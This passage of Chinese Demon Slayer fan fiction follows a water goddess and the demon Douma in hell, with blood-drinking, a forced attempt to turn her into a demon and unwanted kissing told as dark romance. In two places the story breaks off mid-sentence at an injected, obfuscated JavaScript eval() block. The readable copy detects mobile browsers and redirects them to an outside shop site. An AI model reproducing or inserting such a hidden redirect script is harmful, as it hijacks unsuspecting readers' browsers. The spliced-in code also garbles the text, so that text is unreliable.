那双琉璃般的眼眸轻轻眯起,在昏暗的室内,泛起某种妖娆的暗光。 “每个季节…都是一样的呀。”他握住我再生中的手臂,像磨牙的幼猫似的,用牙尖试探性的蹭着,“下雨的时候来找我的信徒反而会多一点,大概因为没什么别的事可做,他们讲起来就会没完没了,有时连我都听的想打瞌睡呢。” “不会吧?”我忍不住问,“你都不做别的事吗?干嘛要整天待在你的教会里?两百年诶,你是怎么熬下来的?” 这只强大的上弦鬼第一次露出了有点茫然的表情。 “诶?可那是人家的工作啦,神之子的责任就是倾听信徒的痛苦,给予他们指引和救赎嘛,人家可是一直很认真的在履行自己的职责哦。” “别的事情嘛,也就是帮无惨大人找找那根本不存在的青色彼岸花,以及出去找吃的啦。”他意兴阑珊的说,“吉原的女人换了一波又一波,味道也没太大区别,除了小堕姬有时会留几个稀血给我,就是那些猎鬼人的柱比较值得期待了。小染的话,会做什么有趣的事吗?” “我能做的事那可就多了。”我来了兴致,“就拿春天来说吧,赏樱是必须的。到了樱花开放的时候,江户城里到处都是樱吹雪,漂亮极了!连荒川里都会漂满樱花瓣呢,那是将军大人的命令,让在河边栽满樱树。每年这个时候,城里的大街小巷都会开始卖各种和樱花有关的时令点心,像是樱花羊羹,樱花洋糖团子,还有放了咸樱花的水信玄饼,那是用糯米做的,要粘了黄豆粉才好吃。但樱树的果实可不能吃,我试过,酸的要死。” “夏天的时候能玩的就更多啦。神社后山上有兔子,有花羽毛的雉鸡,晚上还有萤火虫呢。山上的野花成片成片的开,有桔梗花、蒲公英和踊子草,可以在草地上一直躺到星星出来,然后去神社门口的夜市上买艾草羊羹和酱油团子吃。夏天才有那种绿色的羊羹哦,艾的味道微苦,但习惯了的话就会觉得很好吃。酱油团子的话,也是糯米做的,煮好后放在冰水里,店家会用竹签子穿好,沾上甜酱油……你干嘛那样看着我?” 童磨的眼中闪过一瞬间的迷离,甚至忘记挂上那习惯性的笑容。 “诶?刚刚好像把小染看成别人了呢。”他自言自语似的说道,“好奇怪哦,珠世的血鬼术应该没有这种作用吧…” “你是打架打累了吧?”我说,“下雨天最适合睡懒觉了,要不要试一下?” “鬼是不用睡觉的哦。”他托着腮微笑,“继续说给我听听吧,小染说的这些事,人家很喜欢听呢~” “哦哦,说到哪里来着?对了,夏天。听说京都那边的富贵人家,夏天流行吃流水素面,还有川床料理,江户也就有人学了去,他们在荒川边的浅滩上架好台子,铺上竹席,说是借着河水的凉气来避暑,配上水里镇的瓜果和清酒,这时熟人围在一起作和歌,最是风雅……” “呵呵…”鬼笑了出来,“怎么全是吃的东西呀?真是看不出,小染还是个嘴馋的孩子呢~” “你还好意思说我?”我翻了个白眼,“你不也整天都在吃吃吃吗?” “到了秋天的时候,山上的枫叶红的像火一样,这时栗子就熟了,栗子蒸熟了捣成泥,配上糯米粉就能做成栗子饼。但我最喜欢的还是红豆羊羹,撒上金木犀…” 我忽然怔住了,缓缓将手伸进怀里,摸出一个小布包。 布上的血迹已经被净化之雨差不多洗干净了,打开看看,里面的金平糖早就化没了,像是从来不曾存在过一样。 “咦,这个布的气味…是那个雷柱吧?” 一旁的童磨凑了过来,好奇的问。 鬼的敏锐嗅觉真是要命啊… “你为什么要杀他啊…”我叹了口气,“从到了鬼杀队那边,早云就一直在帮我,我和小梅受了他好多照顾呢。” 童磨摆出一副全然无辜的表情:“人家还要问小染呢,竟然随随便便就交了新朋友吗?真是的,小染明明说过,除了我就没有其他的朋友啦,人家好伤心~” 我无语的看着他:“朋友的意思不是说只能有一个啊,一个人也可以有很多朋友的。童磨大人不是也有很多别的朋友嘛?” “那是不一样的啦。总之小染除了我以外不许有其他的朋友。”鬼一脸泫然欲泣的表情,“否则就是骗了人家,人家是不会原谅你的~” “可是这很不公平诶,你讲点道理好不好?”我有点生气的说,“我们总有一天要离开这里的,我也会认识其他的人啊。朋友并不是这样定义的……” “那小染就和我一起留在地狱好了。” 他嘴角忽然勾起一线残忍的笑,翻身就将我死死按在地上。 “对啦,怎么之前没想到呢?只要把小染变成鬼,就能永远留在我身边了呀~” 我震惊了。这是怎样离奇的脑回路? 意识到他可能是认真的,我开始拼命挣扎。 “童磨!神灵是变不成鬼的!你别发疯!放开我!” “不试试看怎么知道不行呐?” 恶鬼的绝对力量压制让人绝望。他笑眯眯的亮出獠牙,舌尖在牙上轻轻一舔,划出一道淋漓的血口,随后就俯下身子,堵住了我的唇。 冰冷腥甜的血液源源不断的涌进我的口腔,给身体带来烧灼般的刺痛感,像是某种剧毒。 我放弃了挣扎,只是睁大眼睛看着他。 那双虹色的桃花眼半睁半阖,极美极媚,却只有无边的空洞。 过了好半天,童磨才抬起头,冲我咧出一个血淋淋的笑容。 他的声音依旧轻柔,有种幻梦般的飘忽。 “呐…小染和之前那些女孩子是不一样的吧?” 鬼慢悠悠地握住我刚刚长好的右手,又在手腕的位置咬下去,溢着灵光的鲜血流了出来,他像小孩子吮吸一块糖一样轻轻吮着。 “一个个嘴里都说着爱人家,但只要稍微咬破一点皮,就哭的吵死人,不是哀求就是斥骂,不管怎么解释都没用。”他颇为委屈地抱怨,“真是无聊又可怜啊。不过只要死掉就安静啦,呵呵,我把她们都吃的很干净,只把头珍藏起来了,毕竟人家是真心的爱着每一个信徒哦~” 我一句话也说不出,他却自顾自的说了下去。 “说起来,爱到底是什么呐,小染?” “信徒们都说他们爱我,却不愿意接受我的救赎。” “我爱小琴叶,可她宁愿死掉也不肯留在我身边。” “母亲说她爱父亲,却用刀捅死了他又服毒自杀。” 我回过头,悚然的看着他,他却只盯着那个不断涌出鲜血的伤口,眼中一片死寂。 “对哦,那年我应该是七岁还是八岁来着?当时的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“人家还以为不小心把你弄死了呢,没事真是太好啦。但果然小染还是没能变成鬼呢,”他有点遗憾的说,“到底是哪里出了问题呢?” 我走到他身边坐下,微微侧过头看着他。 “因为我是荒川的神灵,我心中对此确信不疑。而地狱是信念和意志所决定的世界。” “童磨大人,知道自己是谁,知道自己能做到和做不到的事,即使对于神灵而言,也是很重要的。“ 他眨了眨那双漂亮的眼睛,意外的没有说话。 “至于你问我的那个关于爱的问题,”我继续说道,“爱是世上最难用语言来描述的东西,不光是鬼神,连人类自己都经常弄不清楚,所以不明白这件事,并不是你的错哦。” “我也没有体会过多少人类的爱,但多少还是知道一点点。我没办法解释给你听,只能演示给你看。” “所以我们来玩个游戏吧。” 我微笑着拉住他的手。 “接下来的这段时间,如果我做完一件事后告诉你,这就是爱,你就得记住这件事。你可以不用理解爱是什么,也不用理解事情为什么是这样,只需要记住事情本身就可以了,当然,如果你想学着我的样子去模仿,是可以给游戏加分的哟!“ “听起来一点也不难嘛。”鬼高兴的说道,“人家的记性最好了。但要是我赢了,小染有什么奖励给人家吗?” “游戏并不一定要分出输赢,游戏的过程才是最重要的。”我认真的说,“但如果童磨大人能真的记住这些事的话,我一定准备个很大的礼物给你。” “那就一言为定。” 他笑嘻嘻的一把将我扯进怀里,在我耳边轻声说: “小染可是欠了我很多奖励哦,人家都记得很清楚呢,要一样一样向你讨回来的~” “诶呀,要怎样才能让小染也记住这件事呐?” 还没等我反应过来,左臂就被他牢牢抓在手里。 “童磨大人,你又要干嘛?”我是真有点怕了,“再吸我就没血了,到时我看谁给你找吃的去!” 童磨拨弄了一下我手腕上的银铃,嘴角浮现出一个意味不明的笑。 “嘘,乖孩子,不要动哦。” 他将那恶鬼独有的暗蓝色指甲在口中轻轻含了一下,尖长的指甲挂上了一滴浓艳的血珠。 随后那指甲就刺进了银铃之下的皮肤,一路小心翼翼,却毫不留情的破开血肉,鲜血混合成一条溪流。 新的血与旧的血,神灵的血与恶鬼的血。 以血为墨,绘出像是文字,又像是图画的印记。 并没有随着伤口的迅速愈合而消退,血色蜿蜒在我的腕上,鲜明的像是雪地上落下的死亡,歌谣里刻下的咒诅。 直到这莫名的举动结束,我才看出…… 那似乎是一朵莲花。 “无惨大人那在眼珠上刻字的本事,我是怎么也学不会呢。” 众所周知,上弦之贰有着一把非常诱人的嗓音,慵懒又温柔,哪怕说出的话极其残酷。 “但即使变不成鬼,小染也依然是我的眷属,拥有一位神灵做我的眷属,实在是件值得骄傲的事呐。” “所以,”他天真无邪的一笑,“神灵大人,你是逃不掉的哦~那些关于神灵,关于极乐的事,请继续讲给我听吧。” 51. 神之子(2) 我直起腰,把废墟里搜刮出的最后一点东西塞进几根木条和一捆稻草的缝隙里,看着面前那些或是坍塌、或是摇摇欲坠的破房子,轻轻呼了口气。 在地狱里混了两百年,我养成的习惯是自力更生,且绝不浪费资源。鬼杀队驻地这么好的地方,当然要尽量利用。事实证明跑这一趟很值得,以前早云说过,那个叫修罗院千越的僧人有能力将人世的物品传送到这里。这些人类居住过的地方确实留下了不少东西,从灶台到暖炉到到红薯咸鱼干一应俱全,尽管大多数没什么用。我怀疑它们的主人其实也拿它们没什么用,毕竟死人不需要咸鱼干,这应该纯粹只是某种念想。 但扒开宗正家的地窖时我发现了某样东西,那好像是…一大坛子酒。 我当神的时候就没喝过酒,对这玩意实在陌生的很,但听早云他们之前的说法,酒在此处似乎是很珍贵的东西,于是我决定也一起打包带走,管它有用没用呢。 用捡来的木条和绳子组装了个架子,我把那一大堆东西重新码放了一遍,用绳子捆结实,然后召唤出一股水流在下面托着,轻轻松松拖着往回走。 捡破烂怎么了?捡破烂让我快乐!谁规定神明大人不能捡破烂? 唯一的问题是,这片区域似乎开始出现一些奇怪的东西。 倒不是之前那些变异的人面怪物,它们随着净化之雨一起消失了,而是其他一些影影绰绰看不清样子的东西,有高有矮,躲在废墟的暗影里窃窃私语。 我不知道它们是从哪里来的,但警惕性还是让我暗暗提高了自己的听力,试图听清它们在说些什么。 “看见了吗…” “是鬼血吗…?” “不太像鬼啊,但也不是人类…” “放弃吧,没有血鬼术什么也干不成啊…” “吃了她就可以了吧?看起来得到了很多血啊…” “是啊是啊,你们都看到了吧?那位大人用血鬼术把这些可恶的猎鬼人全都消灭啦!这下咱们总算是自由了!” “上弦真是可怕的存在啊…” “那可不是普通的上弦,你们没看见那尊大佛吗?那是上弦之贰啊!” “啊啊,不会吧,竟然是贰吗…” 窃窃私语的声音戛然而止,好像说话的人集体沉默了,过了一会儿,新的说话声传了过来。 “还以为是壹或叁…” “这可真是…唉…我想念无惨大人…” “鬼王的话,谁做都一样吧。毕竟无惨大人已经…” “说得对啊,听说有人看到上弦之六也效忠了那位大人呢…” “喂,姐姐。” 一个娇嫩的声音打断了我的偷听。面前不远处站着一个小女孩,看起来也就五六岁的年纪,白净的小脸上挂着甜甜的笑,身边还跟着一位身材极其矮小、看起来畏畏缩缩的老者。 看起来像是祖孙两个,如果那老者脑袋上没长角,就更像了。 “姐姐是上弦吗?”女孩冲我扬起小脸。 ? “什么上弦?” “那就是下弦喽?”她背着手,往前迈了一步。 “你想问什么?“我说。 小女孩嘻嘻一笑,“没有什么事,我祖父生了病,想请您帮个小忙。” 她的脸突然从中间裂开,变成一张布满利齿的巨口,身形也跟着暴涨。 “姐姐看起来很好吃啊,请让我吃……” 话没说完,她的头和身体被平均分成了三块,三道蛇牙刃在一瞬间完成了切割,黑色的液体泼了一地。 “咦咦咦咦咦,好可怕好可怕——”那位老者拔腿就跑,瞬间钻进废墟不见了。 暗处那些窃窃私语的声音瞬间消失。 魔物吗? 我皱了皱眉,收回了法术。 死灵之森的魔物数量很多,因为镇守这里的鬼杀队消失,所以开始活跃了吗? 还真是麻烦。 我拖着一堆东西继续往前走,那些声音在身后又悄悄的出现。 “看到了吗?好强的鬼…” “你瞎了?那女人哪里像鬼?“ “明明就是鬼啊,那是血鬼术吧!” “是上弦吗?” “没听说上弦里有这么一位啊。” ……这都什么乱七八糟的? 路过先前产屋敷宅邸所在的地方,大雪已经完全覆盖了战场的痕迹,那座睡莲菩萨依然还在原地,上面落满了白雪,竟然有种奇特的静谧之美,像是已经在此矗立了千万年的古老遗迹。 雪地上站着一个身着团花和服的背影,竟是珠世。 她似乎也意识到了我的存在,转过了身,我们在一片洁白中默然相望。 最终还是我先开了口。 “早云的事,我很抱歉。” 珠世看着我,眼中依然覆着薄雾。 “他们也算是解脱了。”她最终叹了口气,“染小姐,你恨妾身吗?” “恨。”我坦然道,“我知道你也恨无惨,恨童磨,甚至恨你自己。但憎恨无法挽回已经发生的事,只能让更多的人陷入没有尽头的痛苦中。” 她转过头,没有言语。 我走到拉着的一堆东西前,从里面翻出一把短刀丢给她。 “你血鬼术被封住了吧,这边现在好像不太安宁,这个给你防身用。”我说,“你熟识草药和毒药,这种技艺应该能让你在这里安全的生活一段时间,但我还是劝你尽快放下执念,回到人世去,无间地狱不是什么好地方,除非信念非常坚定,否则很容易迷失自我。还有,” 我冷然道,“别让我看到你再出现在童磨附近。” “妾身来此只是想要赎罪,别无他念。”她淡淡道。 “心陷入迷惑时的举动,不能算作罪孽,况且你吃人也已经是几百年前的事了。你痛恨的其实是自己没能守护重要之人的无力吧,但那又怎样呢,以后总有重逢的一天,到那时再好好去守护不就行了。” 她抬起眼睛,紫色的薄雾中闪烁着泪光。 “希望我们永不再会,珠世小姐。”我说。 没花多久就回到了那栋小屋,我先绕着屋子检查了下结界,才回到门前一点点搬东西。 这边倒是安静的很,什么奇怪的声音都没有。 “小染回来啦~” 某只笑眯眯的鬼不知何时出现在门口,没骨头似的倚在门柱上。 “诶?你这是去哪里啦?”他一副很吃惊的样子,“这都是些什么呀?” “你那雪下的快把这破房子的屋顶压坏了,我去鬼杀队驻地那边找到些材料,先修一修。另外还发现了点好玩的东西。” 我边把一堆东西分门别类放好,边向这只丝毫看不出丁点想要帮忙的意愿的鬼解释道。 “诶呀,那是酒吗?” 他眼睛倒是挺尖,语气也明显兴奋了起来。 “看不出啊,童磨大人竟然喜欢喝酒?”我忍不住笑起来,“听说是那个宗正自己酿的酒,没毒,我就给带回来了。还有这个是给你的。” 我翻出一张花花绿绿的纸和一盒子棋子,举起来给他看。 “诶呀呀,这好像是双六?”童磨露出了那种小孩子一样好奇的表情,“小染也会玩这个吗?“ “不太会,”我实在的说,“小时候见人玩过而已。你会吗?” “呵呵,京都那边的贵夫人们中间很流行玩这个啦,人家去参加茶会的时候偶尔也会玩一下~” “那童磨大人教我吧。”我微笑道,“我对人类的游戏一窍不通呢。“ 那鬼用扇子支着下巴,笑的极为心机。 “可以倒是可以,但小染拿什么作为交换呐?” “你这人原来是这么斤斤计较的吗?”我难以置信的说。 “人家可是神之子,做的事情都带有神明的祝福哦~”童磨无辜的说,“要供奉也是应该的吧?” 天呐,我从未见过如此厚颜无耻之鬼啊! 忍住吐血的冲动,我指指院子里已经冻上的池塘: “这样吧,我给你做个温泉池子,怎么样?” 那张永远二十岁的脸顿时喜笑颜开,让我怀疑他是不是真的活了两百岁。 “我就知道,小染是最棒的神明啦~” “好啦。” 我拍拍手,从热气氤氲的池子边站了起来,“我可真是个万能的神啊,在地狱里都能变出热水来。浴衣我放在旁边了,虽然肯定没有你平时穿的奢侈,但条件所限,还是请童磨大人将就一下吧。” 鬼满脸惊讶的抖开那件深蓝色的棉质浴衣: “哇啊,小染居然还能变出衣服来吗?” “我又不是建叶槌命大神,当然不能,是我捡的。”我得意的说,“不过是新的哦,你爱穿不……啊啊啊你倒是等我进屋再脱啊啊啊!” 这家伙大概是有史以来第一只在地狱里泡温泉的鬼。 我大概也是有史以来第一个由于捂着眼睛乱窜而撞坏了纸拉门的水神。 我一直觉得鬼是一种奇特的存在,而童磨大人是奇特存在里的奇特存在。 他有时特别像鬼,比如那些亮出獠牙,撕扯血肉,以及在战场上顶着一张微笑的脸疯狂杀戮的时候。 他有时又特别不像鬼,比如那些面无表情、露出某种不属于这个世界的无机质眼神的时候,或是像真正的神佛那样垂下眼帘,换上一副悲悯表情的时候。 但有时我也不知道他到底像什么东西,比如……像现在这样面泛春色满脸陶醉的泡在热水里的时候。 我猜他是冰之鬼,可能遇热会产生奇怪的反应,脑子大概又是脱线状态,于是觉得还是蹑手蹑脚溜走比较好。 “诶呀,好像忘了重要的事呢~小染~人家的酒呐~~?” 嗯…声音变得更贱了,简直好像发春的猫一样,咦呃…… 我装了一小瓶酒,战战兢兢的给他拿过去,全程两眼盯着地面。 “这点怎么够嘛~都拿来嘛~小染不要那么小气呀~” “看不出你还挺能喝的。”我只能回去搬那一坛子酒,“你别喝醉了啊,我可不管把你拖回去。” 伴着水声,一只修长苍白的手臂伸了过来,拎起那坛酒就往水里倒,空气中刹那间弥散开浓烈的酒香。 “诶诶诶?”我傻了眼,顿时抬起头来,忘了眼观鼻鼻观心,“你不是用来喝的吗?这是什么玩法?” 名为童磨的男人站在面前咫尺之处,至少比我高出一头,湿漉漉的白橡色长发顺着宽阔的肩膀和结实的胸肌一直垂落到没有一丝多余的腰线,如果忽略他那双过于绚丽的虹彩瞳孔和纯真无辜的表情,倒真像是传教士们送给将军大人的那些西洋雕像。 见鬼,这才是真的见鬼。 我感觉脸都要烧起来了,赶忙把头扭到一边。 他这两百多年到底是吃了什么?怎么也没法和记忆里那个长的好像雪团子一样的小神子联系在一起啊! “啊啦,忘了告诉小染,鬼是不能喝酒的呀~不过因为人家实在太喜欢酒了,就只能用这个办法解馋啦~诶?小染在看哪里呐?“ 我被那股子酒气熏的有点头晕,嘴巴也变得不利索起来:“没没没看哪里,你你你继续泡吧……” 鬼发出一声惑人的低笑。 “诶呀…小染这个样子真是太可爱啦…” 那只手臂就那么伸了过来,滴着水的冰冷指尖轻轻刮着我的脸颊。 “呵呵…简直就像是吉原那些还没经初夜的新造…我可爱的神灵大人呐……” 他整个人都贴了过来,在我耳畔吹着满含酒气的丝丝凉风。 “您该不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252328|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是…还没见过男人的身体吧?” 啊,啊啊。 天照大御神啊!这是什么…什么虎狼之词啊?! “我什么…我怎么可能…我…唔?!” 完全形不成句子的言语被两片薄薄的嘴唇堵回了嘴里。 冰冷的,带着莲花的甜腻和血的腥香。 大概是尖牙划破了我的舌头,但一点也感觉不到痛,溢出的血味却让他更加用力的深入到我的口腔中,一通又咬又舔。 明明没喝一滴酒,我却感觉自己脑子里灌满了酒。 这是…什么跟什么啊…是什么意思…鬼都很擅长这种事吗…? “诶呀…” 童磨终于放开了我可怜的舌头,意犹未尽的舔舔唇边的一丝血迹。 “小染真是太可爱了呀,人家实在是忍不住呢…” 他一只手勾住我的腰带,轻轻往下扯了扯。 “自己站在那里多无趣啊…不如小染也来试试酒浴的滋味吧?” 不不不不这肯定哪里不对劲! “等…等等!” 我的脑子在最后一刻恢复了正常。 “童磨大人,到目前为止,你跟多少人一起泡过酒浴?” “诶?” 那只鬼怔了怔,“没有呀,之前都是人家自己嘛。” “那刚刚…刚刚这种事呢?”我鼓起勇气,指指自己的嘴唇。 童磨恍然大悟的说:“这个呀…那就太多啦,让我想想,”他认真的数起来,“和女信徒们,女侍们,嵯峨野的那几位夫人,御茶家和藤原家的小姐,吉原的那些太夫和格子就不说了,小堕姬有时也会找些可爱的新造和秃来,呵呵呵,女孩子们不都喜欢这个嘛?” 小梅啊……你们这都是什么鬼日常啊…? “童磨大人,这就是你的无知了。”我一本正经的说,“首先,我们是朋友对吧?朋友之间是不会共浴的。” “诶?是这样吗?”他微微睁大了眼睛,疑惑的看着我。 “是这样啊,你想想看,你和黑死牟大人是朋友吧?你们肯定不会一起泡温泉,对吧?” 我确信这个问题能卡住童磨大人那脱线的脑子,事实证明他看起来确实卡住了。 “诶?但是黑死牟大人他…” “还有,”我马上打断他,“在我们江户,男女七岁不同席,刚刚…刚刚的那种事,是爱人之间才会做的。我不管你之前都跟谁做过,但我…我毕竟是神灵,是没法随随便便做这件事的!” “但是我爱小染呀。”鬼委屈的说。 “你也爱你的女信徒们,你的女侍们,还有京都的那些夫人们,吉原的游女们,你也爱小琴叶。”我说,“但这都不是我所说的爱。我所说的那种爱,是无法轻易说出口的,是需要以具体的行动来表达的。恕我直言,童磨大人对此一无所知。” “是什么具体的行动呢?小染告诉我吧~人家想要知道呢~” 我深吸了一口气:“具体行动就是泡你的酒浴!水要凉了!” 跑回屋子里,我找了个角落坐了好久,才冷静下来。 我成功的卡住了在鬼里也是天才的上弦之贰的脑子,这真是前所未有的战绩! 我真是个伟大的神灵! 该死的,舌头好痛…… “小染~人家洗完啦~” 我转过头,看到那只鬼披着浴衣站在门口,衣服倒是好好穿上了,就是不知道怎么搞的,头发上都是冰渣,就那么若无其事的走了进来。 那么大一只鬼…怎么总跟个八岁小孩一样? “……大人,你泡完澡都不知道把头发弄干的吗?” 他脸上的红晕还没退去,“那个哦?之前都是女侍帮我的,但是没关系啦,鬼又不怕冷呵呵呵…” 我捂住脑袋,“你要是人类大概早就死于各种莫名其妙的病了…而且都冻住了真的没问题吗?给我过来这边坐好。” 从捡的“破烂”里找出一块干净的布,稍微施加了一个吸水的法术,我一点点把他那头漂亮但不怎么服帖的白橡色长发弄干,顺便用手指当梳子慢慢理顺。不得不说这鬼的头发真的顺滑,手感好到不行,大概是因为常年有人侍奉,打理的很仔细。 唉,总有人放着好好的神之子不做,非要去做鬼,还一路做到地狱里来。 “咦,童磨大人头顶的这块红色…好像快要消失了呢。”我忽然发现了这一点,“我记得刚认识你的时候,还是像泼了鲜血一样呢。” “那是鬼纹啦。”他轻轻一笑,“无惨大人制造的鬼都有鬼纹,每个鬼都是独一无二的哦。比如猗窝座阁下是像罪人刺青那样的花纹,而黑死牟大人做人时曾经是开了斑纹的鬼杀队剑士,变成鬼以后斑纹也就成了鬼纹。” “那你这是什么?”我仔细端详着那块淡淡的红色,“代表你脑子有病吗?” “说了多少次,人家的脑子没病嘛!” 他如预料中那样抗议起来,我顿时笑到停不下来。 “哈哈哈,开玩笑啦!我知道童磨大人的脑子最好用啦,在上弦里也是最聪明的!” “那当然,人家可从小就是个聪明又善良的孩子哦。”童磨大人满意地说道。 “如果非说这个是什么的话…”他语气毫无波澜的说:“是变成鬼的时候,无惨大人的手指插进去的地方哦。” 我手上的动作一顿,突然不忍心再碰那块地方。 “…真的不痛吗?” “不痛啊。”鬼满不在乎的说,“说起这个,猗窝座阁下才真是可怜呐,听说连脑子都被无惨大人给打烂啦,所以他脑子一直不怎么灵光,就算比我早变成鬼,却一直都是上弦之叁,怎么努力也打不过我,呵呵呵~” “因为童磨大人是天才啊。”我微笑着梳好他的最后一缕长发。 也是笨蛋啊。 52. 神之子(3) 晴光照宮路,笑语往来频。 宮路人虽众,吾心在一人。 ——《万叶集》 铮—— 一声沉沉的弦音,像是拨片在琵琶上勾起震颤不绝的残响。 之后是巨大的摩擦声,爆炸声,很多人跑过的声音,他们的脚步散向四方,在空气中激起雷鸣般的震荡。有人大声喊着什么,一连串的爆破声,鸟类羽翅的拍打声,木头碎裂、刀剑破风的锐响。 灯火摇曳如鬼火,重重门扉,层层颠倒,铺展开一望无际的错乱空间。 我站在一条长长的走廊前,茫然的望着四周。从什么地方传来激烈的打斗声,有人在怒吼,有人在尖叫。 血的味道弥漫在空气中,我的心跳骤然加速,那些明灭的灯火变得扭曲起来。 要快,必须要快。 我朝着走廊尽头冲去。 叮。 银铃在响,我却只想狂奔。 终于看到了,走廊尽头的那扇门。 空气冷的好像割破喉咙的尖刀,我闻见莲花的香气,水的气味,夹杂着浓重的血腥。 叮。叮。叮。 没关系,没关系,就要到了。 有孩子的声音在轻柔的耳语: ——白姬小姐,我们…… 我哗的拽开了那道门,凛冽的风雪迎面扑来,白橡色头发的男人站在门口,面露惊讶,发上结着冰霜。 心里松了口气,我笑着伸手想拂去那些霜花。 ——大人,你怎么都不知道把头发…… 啪。 什么东西掉在我手中。 我低下头,看到那是一颗七彩琉璃似的眼珠,上面沾满浓郁的血,瞳孔上依稀写着两个墨色的字: 上弦。 “啊!” 我睁开眼睛,发现自己正身处黑暗中。 “呵呵…” 一道飘渺的笑声在侧后方响起。 “看到了啊…是噩梦呢…痛苦吗?悔恨吗?” “想要一切重来吗…?” 我一言不发,抽刀就砍。 对方只是个灵体,依稀看出是个身穿奇特洋服的纤细少年,在黑暗中影影绰绰,刀光闪过处,他像一张白纸似的分成了两半,消散在空中。 这是什么东西?我为什么会在树上睡着? 我应该是来…做什么的来着? “小染,你好慢哦~” 树下不远处传来熟悉的尾音拖长的声音,下一刻,那只鬼的身影突然瞬移到我面前,吓了我一跳。 “有什么人来过吗?“他盯着我身后。 “没有啊。”我说。 “可小染拔刀了呢。” 我看了看手里的刀,默默收了回去,“最近是有点奇怪,大概是你给我灌多了血的副作用吧。话说…你眼睛没问题吧?” “诶?” 我凑过去盯着他的左眼看了看。 “明明没有字嘛。” “哦,小染说这个吗?”童磨笑眯眯的指着眼睛,“以前是有的哦~只有上弦才是两只眼睛都有刻字,但下地狱之后字就消失啦,可能是因为无惨大人的血失效了吧~” “……对了,我是来贴符咒的。” 最近的怪事太多,我从那支鬼杀队的驻地附近找到几张防御用的符咒,照着画了一些,居然还能用,就干脆拿来在屋子附近的林子里贴了一圈。但不知道为什么,贴着贴着就睡着了。 “你等我一下,”我扬了扬手中剩下的几张符咒,“马上就好了。最近总感觉这片有奇怪的东西出没,我们小心一点比较好。” “是鬼哦。” “啊?什么鬼?“ “就是人家的那些同类嘛。“童磨漫不经心的说道,“大概是之前被猎鬼人关起来了吧。但都很弱哦,太靠近的话,杀掉就可以啦。” 他脸上浮现出一丝意味深长的笑,“但刚刚这一个,好像有些熟悉的气息呢~算啦,下次捉到的时候再好好问问吧。” “会有那样的鬼吗?”我问,“看起来完全是灵体,很弱的样子…但是好像让我做了个很可怕的梦。” “是什么样的梦呢?说来听听嘛~“ 我犹豫了一下:“我梦见…你眼珠掉下来了,左边那只。” 那只鬼静静的盯了我几秒,忽然爆发出一阵相当夸张的大笑。 “哈哈哈哈,小染真是太可爱啦~居然会做这么好笑的梦吗?哈哈哈~” “什么嘛!哪里好笑了!我吓的要死好吗?!”我气的想敲他的头,“童磨大人太过分了!不许取笑我啊!” “呐呐,眼珠的话,人家是可以挖出来的哦~小染想要的话完全没问题哦~” “那也太恶心了吧!啊你不要真的去挖!住手啊!” 被他这么一通闹,什么可怕的感觉都烟消云散了,不得不说这只鬼在调节气氛上确实拥有独特的才能。 贴完了符咒,我们一起往回走。天上厚重的云层里透出了星星点点的金色光芒,三途河的水脉在虚空中逐渐浮现。 “天亮了啊。”我轻声说。 “诶?小染把这个叫做天亮吗?“ “是啊,以前在业火之界,我是靠血月升起的次数来计算时间的,在这里就方便多啦,”我说,“我在鬼杀队的驻地那里发现这条河在天上浮现的时间间隔差不多是一样的,我想这也许能和‘门’的开启联系在一起,至少以前在业火之界是这样的。” 那只鬼略带惊讶的看着我:“小染还没有放弃寻找出去的路嘛?可是之前明明都已经看到了,鬼是不能通过那道门的呀,人家又变不成人类,不如就呆在这里好啦,反正在哪里都一样。” “我说过,我是不会放弃童磨大人的。“我停住脚步,认真的看着他,“这道门不行,就找别的办法。关键是你自己不可以动摇,要记住地狱是意念的世界,心念越坚定,就越有实现的可能。所以不可以偷懒,要努力一点呀!“ “可是所有事情的结果都是注定的呀。”鬼笑嘻嘻的说,“明明没有希望的事,为什么要去努力呢?老老实实的接受结果不就好了嘛。就像人类会死,鬼会下地狱,这么简单的事,到底有什么不能接受的?” “不是那样的哦。”我反驳他,“就像你之前以为没有地狱,但现在你就在这里了。你说世上没有神灵,但我也在这里了。在很久以前,我也没想到有一天能在这里遇到童磨大人。世界是很大很大的,即便是神,也没办法了解一切,预知一切。所以我是绝对不会放弃希望的,说了要带你出去,就一定会带你出去。” 童磨困惑的眨了眨那双冰晶般的眼睛。 “为什么呢?因为小染和我是朋友吗?” “对,我跟你说过的吧,真正的朋友是不会放弃彼此的。” 我郑重其事地向他伸出手,“所以我们来拉钩吧。” “诶?小孩子才会那样啦~” “童磨大人和小孩子也没区别嘛,连头发都不会自己擦干。”我毫不留情的嘲笑他,“还装什么大人。快一点啦!” 他颇有几分纠结的勾住了我的手指。 “拉勾上吊,一百年不许变。”我严肃的说,“只要我还在向前走,童磨大人就要跟上我的步伐,不许找任何理由中途放弃。” “真是没办法~”鬼颇为无奈的叹了口气,“那人家就满足小染的愿望好啦,毕竟我是神之子嘛,又温柔…” “又善良。”我接上他的话,“我们快点回去吧,昨天那局双六我完全没搞懂,你是怎么赢的?” “呵呵呵还不是因为小染太笨了…” 穿过那片布满白色藤蔓的树林后,我忽然感到空气中多了某种异样的压迫感,回头看看童磨,他也略略停了一步。 “诶呀,”鬼的嘴角勾起一线玩味的笑意,“来客人啦。” 看到屋子门前那道高大的背影时,我暗暗握住了刀柄。 身披紫色蛇纹羽织的剑士,长发高高束起,如同一席幕天卷地的黑云,光是一动不动的站在那里,全身就散发出令人战栗的、沉浑厚重的气息。 听到动静,他转过身来。我轻轻抽了口冷气。 这人竟然有六只赤金的鬼瞳。腰上锈迹斑斑的打刀也格外长,上面似乎布满了一只只眼睛。 然而依稀可以看出,那可怖鬼瞳覆盖下的容颜,轮廓清秀而分明,只是可能是因为眼睛太多,所以完全看不出他的表情。 